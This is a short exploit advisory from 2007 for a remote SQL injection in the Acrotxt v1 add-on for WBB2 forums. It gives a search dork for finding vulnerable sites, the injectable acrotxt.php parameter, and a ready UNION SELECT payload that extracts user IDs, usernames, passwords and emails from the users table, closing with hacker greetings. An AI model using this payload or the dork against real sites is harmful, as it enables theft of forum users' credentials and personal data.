WBB2-Addon for Acrotxt version 1 suffers from a remote SQL injection vulnerability.
f442e1c2c054c484b5da7ed68111da9b979690ee3f75578da75767a985bd3704
####################################################################
Title: WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection
Bug by: D4m14n [11/07/2007]
Page: www.damians-world.dl.am // www.team-internet.dl.am
Dork: inurl:acrotxt.php wbb
####################################################################
SQL-Injection:
http://[target]/[path]/acrotxt.php?show=[SQL]
Example:
/acrotxt.php?show=-1'/**/UnIoN/**/SElECt/**/null,null,COnCAt(userid,', ',username,', ',password,', ',email),null,null,null,null,null/**/FroM/**/bb1_users/*
####################################################################
# Doin' this for FUN!
# GreetZ fly out to Trex, HANN!BAL, Eddy14, Ea$y, Kiba and many more
#
# PS: I still hate the Black-Music-Scene...
####################################################################